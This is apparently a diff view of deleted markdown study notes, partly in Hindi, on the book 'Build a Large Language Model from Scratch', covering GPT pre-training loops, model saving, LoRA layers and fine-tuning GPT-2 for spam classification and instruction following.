- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample`
- The start context: Which the starting sentence to use when calling `generate_and_print_sample`
- The tokenizer
```python
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval() # Set in eval mode to avoid dropout
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train() # Back to training model applying all the configurations
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval() # Set in eval mode to avoid dropout
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train() # Back to training model applying all the configurations
```
> [!NOTE]
> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.**
>
> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\
> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases.
>
> _Note that these improvements aren't included in the previous code._
### Start training
```python
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
```
### Print training evolution
With the following function it's possible to print the evolution of the model while it was being trained.
```python
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
```
### Save the model
It's possible to save the model + optimizer if you want to continue training later:
```python
# Save the model and the optimizer for later training
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
# Note that this model with the optimizer occupied close to 2GB
# Restore model and optimizer for training
checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device)
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(checkpoint["model_state_dict"])
optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
model.train(); # Put in training mode
```
Or just the model if you are planing just on using it:
```python
# Save the model
torch.save(model.state_dict(), "model.pth")
# Load it
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(torch.load("model.pth", map_location=device))
model.eval() # Put in eval mode
```
## Loading GPT2 weights
There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then:
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you"
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/02_alternative_weight_loading/weight-loading-hf-transformers.ipynb) allows you to load any of the GPT2 weights locally (just change the `CHOOSE_MODEL` var) and predict text from some prompts.
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,61 +0,0 @@
# 7.0. LoRA सुधार फाइन-ट्यूनिंग में
## LoRA सुधार
> [!TIP]
> **LoRA का उपयोग बहुत अधिक गणना को कम करता है** जो पहले से प्रशिक्षित मॉडलों को **फाइन ट्यून** करने के लिए आवश्यक है।
LoRA **बड़े मॉडलों** को प्रभावी ढंग से फाइन-ट्यून करना संभव बनाता है, केवल **छोटी भाग** को बदलकर। यह उन पैरामीटर की संख्या को कम करता है जिन्हें आपको प्रशिक्षित करने की आवश्यकता होती है, **मेमोरी** और **गणनात्मक संसाधनों** की बचत करता है। इसका कारण है:
1. **प्रशिक्षण योग्य पैरामीटर की संख्या को कम करता है**: मॉडल में पूरे वेट मैट्रिक्स को अपडेट करने के बजाय, LoRA **वेट मैट्रिक्स** को दो छोटे मैट्रिक्स (जिन्हें **A** और **B** कहा जाता है) में विभाजित करता है। इससे प्रशिक्षण **तेज़** हो जाता है और **कम मेमोरी** की आवश्यकता होती है क्योंकि कम पैरामीटर को अपडेट करने की आवश्यकता होती है।
1. इसका कारण यह है कि एक परत (मैट्रिक्स) के पूर्ण वेट अपडेट की गणना करने के बजाय, यह इसे 2 छोटे मैट्रिक्स के उत्पाद के रूप में अनुमानित करता है, अपडेट को गणना करने के लिए कम कर देता है:\
<figure><img src="../../images/image (9) (1).png" alt=""><figcaption></figcaption></figure>
2. **मूल मॉडल वेट को अपरिवर्तित रखता है**: LoRA आपको मूल मॉडल वेट को समान रखने की अनुमति देता है, और केवल **नए छोटे मैट्रिक्स** (A और B) को अपडेट करता है। यह सहायक है क्योंकि इसका मतलब है कि मॉडल का मूल ज्ञान संरक्षित है, और आप केवल आवश्यक चीजों को समायोजित करते हैं।
3. **कुशल कार्य-विशिष्ट फाइन-ट्यूनिंग**: जब आप मॉडल को **नए कार्य** के लिए अनुकूलित करना चाहते हैं, तो आप केवल **छोटे LoRA मैट्रिक्स** (A और B) को प्रशिक्षित कर सकते हैं जबकि बाकी मॉडल को वैसा ही छोड़ सकते हैं। यह पूरे मॉडल को फिर से प्रशिक्षित करने की तुलना में **बहुत अधिक कुशल** है।
4. **स्टोरेज दक्षता**: फाइन-ट्यूनिंग के बाद, प्रत्येक कार्य के लिए **एक नया पूरा मॉडल** सहेजने के बजाय, आपको केवल **LoRA मैट्रिक्स** को स्टोर करने की आवश्यकता होती है, जो पूरे मॉडल की तुलना में बहुत छोटे होते हैं। इससे कई कार्यों के लिए मॉडल को अनुकूलित करना आसान हो जाता है बिना बहुत अधिक स्टोरेज का उपयोग किए।
फाइन ट्यूनिंग के दौरान Linear के बजाय LoraLayers को लागू करने के लिए, यहां यह कोड प्रस्तावित किया गया है [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb):
```python
import math
# Create the LoRA layer with the 2 matrices and the alpha
class LoRALayer(torch.nn.Module):
def __init__(self, in_dim, out_dim, rank, alpha):
super().__init__()
self.A = torch.nn.Parameter(torch.empty(in_dim, rank))
torch.nn.init.kaiming_uniform_(self.A, a=math.sqrt(5)) # similar to standard weight initialization
self.B = torch.nn.Parameter(torch.zeros(rank, out_dim))
self.alpha = alpha
def forward(self, x):
x = self.alpha * (x @ self.A @ self.B)
return x
# Combine it with the linear layer
class LinearWithLoRA(torch.nn.Module):
def __init__(self, linear, rank, alpha):
super().__init__()
self.linear = linear
self.lora = LoRALayer(
linear.in_features, linear.out_features, rank, alpha
)
def forward(self, x):
return self.linear(x) + self.lora(x)
# Replace linear layers with LoRA ones
def replace_linear_with_lora(model, rank, alpha):
for name, module in model.named_children():
if isinstance(module, torch.nn.Linear):
# Replace the Linear layer with LinearWithLoRA
setattr(model, name, LinearWithLoRA(module, rank, alpha))
else:
# Recursively apply the same function to child modules
replace_linear_with_lora(module, rank, alpha)
```
## संदर्भ
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,117 +0,0 @@
# 7.1. Fine-Tuning for Classification
## What is
Fine-tuning is the process of taking a **pre-trained model** that has learned **general language patterns** from vast amounts of data and **adapting** it to perform a **specific task** or to understand domain-specific language. This is achieved by continuing the training of the model on a smaller, task-specific dataset, allowing it to adjust its parameters to better suit the nuances of the new data while leveraging the broad knowledge it has already acquired. Fine-tuning enables the model to deliver more accurate and relevant results in specialized applications without the need to train a new model from scratch.
> [!NOTE]
> As pre-training a LLM that "understands" the text is pretty expensive it's usually easier and cheaper to to fine-tune open source pre-trained models to perform a specific task we want it to perform.
> [!TIP]
> The goal of this section is to show how to fine-tune an already pre-trained model so instead of generating new text the LLM will select give the **probabilities of the given text being categorized in each of the given categories** (like if a text is spam or not).
## Preparing the data set
### Data set size
Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._
This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.
Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**.
- The **validation set** is used during the training phase to fine-tune the model's **hyperparameters** and make decisions about model architecture, effectively helping to prevent overfitting by providing feedback on how the model performs on unseen data. It allows for iterative improvements without biasing the final evaluation.
- This means that although the data included in this data set is not used for the training directly, it's used to tune the best **hyperparameters**, so this set cannot be used to evaluate the performance of the model like the testing one.
- In contrast, the **test set** is used **only after** the model has been fully trained and all adjustments are complete; it provides an unbiased assessment of the model's ability to generalize to new, unseen data. This final evaluation on the test set gives a realistic indication of how the model is expected to perform in real-world applications.
### Entries length
As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.
### Initialize the model
Using the open-source pre-trained weights initialize the model to train. We have already done this before and follow the instructions of [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) you can easily do it.
## Classification head
In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).
```python
# This code modified the final layer with a Linear one with 2 outs
num_classes = 2
model.out_head = torch.nn.Linear(
in_features=BASE_CONFIG["emb_dim"],
out_features=num_classes
)
```
## Parameters to tune
In order to fine tune fast it's easier to not fine tune all the parameters but only some final ones. This is because it's known that the lower layers generally capture basic language structures and semantics applicable. So, just **fine tuning the last layers is usually enough and faster**.
```python
# This code makes all the parameters of the model unrtainable
for param in model.parameters():
param.requires_grad = False
# Allow to fine tune the last layer in the transformer block
for param in model.trf_blocks[-1].parameters():
param.requires_grad = True
# Allow to fine tune the final layer norm
for param in model.final_norm.parameters():
param.requires_grad = True
```
## Entries to use for training
In previos sections the LLM was trained reducing the loss of every predicted token, even though almost all the predicted tokens were in the input sentence (only 1 at the end was really predicted) in order for the model to understand better the language.
In this case we only care on the model being able to predict if the model is spam or not, so we only care about the last token predicted. Therefore, it's needed to modify out previous training loss functions to only take into account that token.
This is implemented in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb) as:
```python
def calc_accuracy_loader(data_loader, model, device, num_batches=None):
model.eval()
correct_predictions, num_examples = 0, 0
if num_batches is None:
num_batches = len(data_loader)
else:
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
with torch.no_grad():
logits = model(input_batch)[:, -1, :] # Logits of last output token
predicted_labels = torch.argmax(logits, dim=-1)
num_examples += predicted_labels.shape[0]
correct_predictions += (predicted_labels == target_batch).sum().item()
else:
break
return correct_predictions / num_examples
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)[:, -1, :] # Logits of last output token
loss = torch.nn.functional.cross_entropy(logits, target_batch)
return loss
```
Note how for each batch we are only interested in the **logits of the last token predicted**.
## Complete GPT2 fine-tune classification code
You can find all the code to fine-tune GPT2 to be a spam classifier in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/load-finetuned-model.ipynb)
## References
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,100 +0,0 @@
# 7.2. निर्देशों का पालन करने के लिए फाइन-ट्यूनिंग
> [!TIP]
> इस अनुभाग का लक्ष्य यह दिखाना है कि **कैसे पहले से प्रशिक्षित मॉडल को निर्देशों का पालन करने के लिए फाइन-ट्यून किया जाए** न कि केवल पाठ उत्पन्न करने के लिए, उदाहरण के लिए, एक चैट बॉट के रूप में कार्यों का उत्तर देना।
## डेटासेट
एक LLM को निर्देशों का पालन करने के लिए फाइन-ट्यून करने के लिए, LLM को फाइन-ट्यून करने के लिए निर्देशों और प्रतिक्रियाओं के साथ एक डेटासेट होना आवश्यक है। निर्देशों का पालन करने के लिए LLM को प्रशिक्षित करने के विभिन्न प्रारूप हैं, उदाहरण के लिए:
- Apply Alpaca प्रॉम्प्ट शैली का उदाहरण:
```csharp
Below is an instruction that describes a task. Write a response that appropriately completes the request.
### Instruction:
Calculate the area of a circle with a radius of 5 units.
### Response:
The area of a circle is calculated using the formula \( A = \pi r^2 \). Plugging in the radius of 5 units:
\( A = \pi (5)^2 = \pi \times 25 = 25\pi \) square units.
```
- Phi-3 प्रॉम्प्ट स्टाइल उदाहरण:
```vbnet
<|User|>
Can you explain what gravity is in simple terms?
<|Assistant|>
Absolutely! Gravity is a force that pulls objects toward each other.
```
एक LLM को इस तरह के डेटा सेट के साथ प्रशिक्षित करना, केवल कच्चे पाठ के बजाय, LLM को यह समझने में मदद करता है कि उसे प्राप्त प्रश्नों के लिए विशिष्ट उत्तर देने की आवश्यकता है।
इसलिए, एक डेटा सेट के साथ करने के लिए पहली चीजों में से एक जो अनुरोधों और उत्तरों को शामिल करता है, वह है उस डेटा को इच्छित प्रॉम्प्ट प्रारूप में मॉडल करना, जैसे:
```python
# Code from https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/ch07.ipynb
def format_input(entry):
instruction_text = (
f"Below is an instruction that describes a task. "
f"Write a response that appropriately completes the request."
f"\n\n### Instruction:\n{entry['instruction']}"
)
input_text = f"\n\n### Input:\n{entry['input']}" if entry["input"] else ""
return instruction_text + input_text
model_input = format_input(data[50])
desired_response = f"\n\n### Response:\n{data[50]['output']}"
print(model_input + desired_response)
```
फिर, हमेशा की तरह, डेटा सेट को प्रशिक्षण, मान्यता और परीक्षण के लिए सेट में विभाजित करना आवश्यक है।
## बैचिंग और डेटा लोडर्स
फिर, प्रशिक्षण के लिए सभी इनपुट और अपेक्षित आउटपुट को बैच करना आवश्यक है। इसके लिए, यह आवश्यक है:
- पाठ को टोकनाइज़ करें
- सभी नमूनों को समान लंबाई (आमतौर पर लंबाई उस संदर्भ की लंबाई के रूप में होगी जिसका उपयोग LLM को पूर्व-प्रशिक्षित करने के लिए किया गया था) तक पैड करें
- एक कस्टम कोलेट फ़ंक्शन में इनपुट को 1 स्थानांतरित करके अपेक्षित टोकन बनाएं
- प्रशिक्षण हानि से उन्हें बाहर करने के लिए कुछ पैडिंग टोकन को -100 से बदलें: पहले `endoftext` टोकन के बाद, सभी अन्य `endoftext` टोकन को -100 से प्रतिस्थापित करें (क्योंकि `cross_entropy(...,ignore_index=-100)` का उपयोग करने का अर्थ है कि यह -100 वाले लक्ष्यों को अनदेखा करेगा)
- \[वैकल्पिक\] -100 का उपयोग करके प्रश्न से संबंधित सभी टोकनों को भी मास्क करें ताकि LLM केवल उत्तर उत्पन्न करना सीखे। Apply Alpaca शैली में इसका अर्थ होगा `### Response:` तक सब कुछ मास्क करना।
यह बनाने के बाद, प्रत्येक डेटा सेट (प्रशिक्षण, मान्यता और परीक्षण) के लिए डेटा लोडर्स बनाने का समय है।
## पूर्व-प्रशिक्षित LLM लोड करें और फाइन ट्यून करें और हानि की जांच करें
इसे फाइन ट्यून करने के लिए एक पूर्व-प्रशिक्षित LLM लोड करना आवश्यक है। यह पहले ही अन्य पृष्ठों पर चर्चा की जा चुकी है। फिर, LLM को फाइन ट्यून करने के लिए पहले से उपयोग की गई प्रशिक्षण फ़ंक्शन का उपयोग करना संभव है।
प्रशिक्षण के दौरान यह भी संभव है कि यह देखा जा सके कि प्रशिक्षण हानि और मान्यता हानि कैसे युगों के दौरान भिन्न होती है ताकि यह देखा जा सके कि हानि कम हो रही है और क्या ओवरफिटिंग हो रही है।\
याद रखें कि ओवरफिटिंग तब होती है जब प्रशिक्षण हानि कम हो रही है लेकिन मान्यता हानि कम नहीं हो रही है या यहां तक कि बढ़ रही है। इसे रोकने के लिए, सबसे सरल बात यह है कि उस युग में प्रशिक्षण को रोक दें जहां यह व्यवहार शुरू होता है।
## प्रतिक्रिया गुणवत्ता
चूंकि यह एक वर्गीकरण फाइन-ट्यून नहीं है जहां हानि के उतार-चढ़ाव पर अधिक भरोसा किया जा सकता है, इसलिए परीक्षण सेट में प्रतिक्रियाओं की गुणवत्ता की जांच करना भी महत्वपूर्ण है। इसलिए, सभी परीक्षण सेट से उत्पन्न प्रतिक्रियाओं को इकट्ठा करना और **उनकी गुणवत्ता को मैन्युअल रूप से जांचना** अनुशंसित है ताकि यह देखा जा सके कि क्या गलत उत्तर हैं (ध्यान दें कि LLM प्रतिक्रिया वाक्य के प्रारूप और वाक्यविन्यास को सही ढंग से बना सकता है लेकिन पूरी तरह से गलत उत्तर दे सकता है। हानि का उतार-चढ़ाव इस व्यवहार को नहीं दर्शाएगा)।\
ध्यान दें कि यह समीक्षा उत्पन्न प्रतिक्रियाओं और अपेक्षित प्रतिक्रियाओं को **अन्य LLMs को पास करके और उनसे प्रतिक्रियाओं का मूल्यांकन करने के लिए कहकर** भी की जा सकती है।
प्रतिक्रियाओं की गुणवत्ता की पुष्टि करने के लिए चलाने के लिए अन्य परीक्षण:
1. **मासिव मल्टीटास्क लैंग्वेज अंडरस्टैंडिंग (**[**MMLU**](https://arxiv.org/abs/2009.03300)**):** MMLU 57 विषयों में एक मॉडल के ज्ञान और समस्या-समाधान क्षमताओं का मूल्यांकन करता है, जिसमें मानविकी, विज्ञान और अधिक शामिल हैं। यह विभिन्न कठिनाई स्तरों पर समझ का आकलन करने के लिए बहुविकल्पीय प्रश्नों का उपयोग करता है, प्रारंभिक से लेकर उन्नत पेशेवर तक।
2. [**LMSYS चैटबॉट एरिना**](https://arena.lmsys.org): यह प्लेटफ़ॉर्म उपयोगकर्ताओं को विभिन्न चैटबॉट्स की प्रतिक्रियाओं की तुलना एक साथ करने की अनुमति देता है। उपयोगकर्ता एक प्रॉम्प्ट इनपुट करते हैं, और कई चैटबॉट्स प्रतिक्रियाएँ उत्पन्न करते हैं जिन्हें सीधे तुलना की जा सकती है।
3. [**AlpacaEval**](https://github.com/tatsu-lab/alpaca_eval)**:** AlpacaEval एक स्वचालित मूल्यांकन ढांचा है जहां एक उन्नत LLM जैसे GPT-4 विभिन्न प्रॉम्प्ट्स के लिए अन्य मॉडलों की प्रतिक्रियाओं का मूल्यांकन करता है।
4. **जनरल लैंग्वेज अंडरस्टैंडिंग मूल्यांकन (**[**GLUE**](https://gluebenchmark.com/)**):** GLUE नौ प्राकृतिक भाषा समझ कार्यों का एक संग्रह है, जिसमें भावना विश्लेषण, पाठ संबंध और प्रश्न उत्तर शामिल हैं।
5. [**SuperGLUE**](https://super.gluebenchmark.com/)**:** GLUE पर आधारित, SuperGLUE में अधिक चुनौतीपूर्ण कार्य शामिल हैं जो वर्तमान मॉडलों के लिए कठिन होने के लिए डिज़ाइन किए गए हैं।
6. **इमिटेशन गेम बेंचमार्क के परे (**[**BIG-bench**](https://github.com/google/BIG-bench)**):** BIG-bench एक बड़े पैमाने पर बेंचमार्क है जिसमें 200 से अधिक कार्य हैं जो एक मॉडल की क्षमताओं का परीक्षण करते हैं जैसे तर्क, अनुवाद, और प्रश्न उत्तर।
7. **भाषा मॉडलों का समग्र मूल्यांकन (**[**HELM**](https://crfm.stanford.edu/helm/lite/latest/)**):** HELM विभिन्न मेट्रिक्स जैसे सटीकता, robustness, और निष्पक्षता के माध्यम से एक व्यापक मूल्यांकन प्रदान करता है।
8. [**OpenAI Evals**](https://github.com/openai/evals)**:** OpenAI द्वारा एक ओपन-सोर्स मूल्यांकन ढांचा जो कस्टम और मानकीकृत कार्यों पर AI मॉडलों का परीक्षण करने की अनुमति देता है।
9. [**HumanEval**](https://github.com/openai/human-eval)**:** प्रोग्रामिंग समस्याओं का एक संग्रह जिसका उपयोग भाषा मॉडलों की कोड जनरेशन क्षमताओं का मूल्यांकन करने के लिए किया जाता है।
10. **स्टैनफोर्ड प्रश्न उत्तरिंग डेटासेट (**[**SQuAD**](https://rajpurkar.github.io/SQuAD-explorer/)**):** SQuAD में विकिपीडिया लेखों के बारे में प्रश्न होते हैं, जहां मॉडलों को सटीक उत्तर देने के लिए पाठ को समझना आवश्यक है।
11. [**TriviaQA**](https://nlp.cs.washington.edu/triviaqa/)**:** ट्रिविया प्रश्नों और उत्तरों का एक बड़े पैमाने पर डेटासेट, साथ ही साक्ष्य दस्तावेज़।
और कई और
## निर्देशों का पालन करने के लिए फाइन-ट्यूनिंग कोड
आप इस फाइन ट्यूनिंग को करने के लिए कोड का एक उदाहरण [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch07/01_main-chapter-code/gpt_instruction_finetuning.py) पर पा सकते हैं।
## संदर्भ
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,98 +0,0 @@
# LLM Training - Data Preparation
**ये मेरी नोट्स हैं बहुत ही अनुशंसित किताब से** [**https://www.manning.com/books/build-a-large-language-model-from-scratch**](https://www.manning.com/books/build-a-large-language-model-from-scratch) **कुछ अतिरिक्त जानकारी के साथ।**
## Basic Information
आपको कुछ बुनियादी अवधारणाओं के बारे में जानने के लिए इस पोस्ट को पढ़ना चाहिए:
{{#ref}}
0.-basic-llm-concepts.md
{{#endref}}
## 1. Tokenization
> [!TIP]
> इस प्रारंभिक चरण का लक्ष्य बहुत सरल है: **इनपुट को कुछ इस तरह से टोकन (ids) में विभाजित करें जो समझ में आए।**
{{#ref}}
1.-tokenizing.md
{{#endref}}
## 2. Data Sampling
> [!TIP]
> इस दूसरे चरण का लक्ष्य बहुत सरल है: **इनपुट डेटा का सैंपल लें और इसे प्रशिक्षण चरण के लिए तैयार करें, आमतौर पर डेटासेट को एक विशिष्ट लंबाई के वाक्यों में विभाजित करके और अपेक्षित प्रतिक्रिया भी उत्पन्न करके।**
{{#ref}}
2.-data-sampling.md
{{#endref}}
## 3. Token Embeddings
> [!TIP]
> इस तीसरे चरण का लक्ष्य बहुत सरल है: **शब्दकोश में पिछले टोकनों में से प्रत्येक को मॉडल को प्रशिक्षित करने के लिए इच्छित आयामों का एक वेक्टर सौंपें।** शब्दकोश में प्रत्येक शब्द X आयामों के एक स्थान में एक बिंदु होगा।\
> ध्यान दें कि प्रारंभ में प्रत्येक शब्द की स्थिति "यादृच्छिक" रूप से प्रारंभ की जाती है और ये स्थितियाँ प्रशिक्षित करने योग्य पैरामीटर हैं (प्रशिक्षण के दौरान सुधारित होंगी)।
>
> इसके अलावा, टोकन एम्बेडिंग के दौरान **एक और एम्बेडिंग परत बनाई जाती है** जो (इस मामले में) **प्रशिक्षण वाक्य में शब्द की पूर्ण स्थिति का प्रतिनिधित्व करती है।** इस तरह वाक्य में विभिन्न स्थितियों में एक शब्द का अलग प्रतिनिधित्व (अर्थ) होगा।
{{#ref}}
3.-token-embeddings.md
{{#endref}}
## 4. Attention Mechanisms
> [!TIP]
> इस चौथे चरण का लक्ष्य बहुत सरल है: **कुछ ध्यान तंत्र लागू करें।** ये बहुत सारे **दोहराए जाने वाले परतें** होंगी जो **शब्दकोश में एक शब्द के पड़ोसियों के साथ वर्तमान वाक्य में संबंध को पकड़ेंगी जिसका उपयोग LLM को प्रशिक्षित करने के लिए किया जा रहा है।**\
> इसके लिए बहुत सारी परतें उपयोग की जाती हैं, इसलिए बहुत सारे प्रशिक्षित करने योग्य पैरामीटर इस जानकारी को पकड़ने जा रहे हैं।
{{#ref}}
4.-attention-mechanisms.md
{{#endref}}
## 5. LLM Architecture
> [!TIP]
> इस पांचवे चरण का लक्ष्य बहुत सरल है: **पूर्ण LLM की आर्किटेक्चर विकसित करें।** सब कुछ एक साथ रखें, सभी परतें लागू करें और पाठ उत्पन्न करने या पाठ को IDs में और इसके विपरीत परिवर्तित करने के लिए सभी कार्यों को बनाएं।
>
> यह आर्किटेक्चर दोनों, प्रशिक्षण और भविष्यवाणी के लिए उपयोग किया जाएगा जब इसे प्रशिक्षित किया गया हो।
{{#ref}}
5.-llm-architecture.md
{{#endref}}
## 6. Pre-training & Loading models
> [!TIP]
> इस छठे चरण का लक्ष्य बहुत सरल है: **मॉडल को शून्य से प्रशिक्षित करें।** इसके लिए पिछले LLM आर्किटेक्चर का उपयोग किया जाएगा जिसमें डेटा सेट पर परिभाषित हानि कार्यों और ऑप्टिमाइज़र का उपयोग करते हुए लूप होंगे ताकि मॉडल के सभी पैरामीटर को प्रशिक्षित किया जा सके।
{{#ref}}
6.-pre-training-and-loading-models.md
{{#endref}}
## 7.0. LoRA Improvements in fine-tuning
> [!TIP]
> **LoRA का उपयोग पहले से प्रशिक्षित मॉडलों को ठीक करने के लिए आवश्यक गणना को बहुत कम करता है।**
{{#ref}}
7.0.-lora-improvements-in-fine-tuning.md
{{#endref}}
## 7.1. Fine-Tuning for Classification
> [!TIP]
> इस अनुभाग का लक्ष्य यह दिखाना है कि पहले से प्रशिक्षित मॉडल को कैसे ठीक किया जाए ताकि नए पाठ उत्पन्न करने के बजाय LLM **प्रत्येक दिए गए श्रेणी में वर्गीकृत किए जाने की संभावनाएँ** प्रदान करे (जैसे कि कोई पाठ स्पैम है या नहीं)।
{{#ref}}
7.1.-fine-tuning-for-classification.md
{{#endref}}
## 7.2. Fine-Tuning to follow instructions
> [!TIP]
> इस अनुभाग का लक्ष्य यह दिखाना है कि **निर्देशों का पालन करने के लिए पहले से प्रशिक्षित मॉडल को कैसे ठीक किया जाए** न कि केवल पाठ उत्पन्न करने के लिए, उदाहरण के लिए, एक चैट बॉट के रूप में कार्यों का उत्तर देना।
{{#ref}}
7.2.-fine-tuning-to-follow-instructions.md
{{#endref}}